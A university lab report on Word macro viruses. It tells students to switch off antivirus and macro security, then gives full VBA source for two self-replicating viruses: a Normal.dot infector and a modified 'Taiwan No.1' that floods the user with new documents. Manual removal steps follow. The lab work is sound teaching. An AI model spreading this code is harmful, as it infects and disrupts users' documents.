实验五宏病毒分析及清除实验姓名:xxx学号:xxxxxxxx日期:2014年4月26日专业:计算机科学与技术一、实验目的⏹了解“宏病毒”机理;⏹掌握清除宏病毒的方法;⏹掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境⏹Windows2003操作系统;⏹Office Word2003字处理软件。
三、实验内容1.软件设置关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:'Macro-1:Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseSet ourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSet host=NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument=NormalTemplate ThenSet host=ActiveDocument.VBProject.VBComponents(1).CodeModule End IfWith hostIf.Lines(1,1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine2,"Sub Document_Close()"If ThisDocument=NormalTemplate Then.ReplaceLine2,"Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox"MicroVirus by Content Security Lab"End Sub以上代码的基本执行流程如下:1)进行必要的自我保护:Application.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False病毒编写者的自我保护做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2)得到当前文档的代码对象和公用模板的代码对象:Set ourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSet host=NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument=NormalTemplate ThenSet host=ActiveDocument.VBProject.VBComponents(1).CodeModule End If3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:With HostIf.Lines(1.1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,"Sub Document_Close()"If ThisDocument=nomaltemplate Then.ReplaceLine2,"Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd With4)执行恶意代码MsgBox"MicroVirus by Content Security Lab"3.具有一定破坏性的宏我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改,参见如下源代码(Macro_2)。
完整代码如下:'Macro_2:moonlightDim nm(4)Sub Document_Open()'DisableInput1Set ourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModule Set host=NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument=NormalTemplate ThenSet host=ActiveDocument.VBProject.VBComponents(1).CodeModule End IfWith hostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,"Sub Document_Close()"If ThisDocument=NormalTemplate Then.ReplaceLine3,"Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithCount=0If Year(Now())=2013Thentry:On Error GoTo trytest=-1con=1tog$=""i=0While test=-1For i=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)If i=4Thentog$=tog$+Str$(nm(4))+"=?"GoTo begEnd Iftog$=tog$+Str$(nm(i))+"*"Next ibeg:Beepans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1Macro Virus")If RTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWith Selection.Font.Name="细明体".Size=16.Bold=1.Underline=1End WithSelection.InsertAfter Text:="何谓宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic=1Selection.InsertAfter Text:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfter Text:="如何预防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic=1Selection.InsertAfter Text:="不要看我......"GoTo outElseCount=Count+1For j=1To4BeepDocuments.AddNext jSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfter Text:="宏病毒"If Count=2Then GoTo outGoTo tryEnd IfWendEnd Ifout:End Sub4.清除宏病毒对每一个受感染的word文档进行如下操作:打开受感染的word文档,进入宏编辑环境(Alt+F11),打开“Normal Microsoft Word”对象“This Document”,清除其中的病毒代码(只要删除所有内容即可)。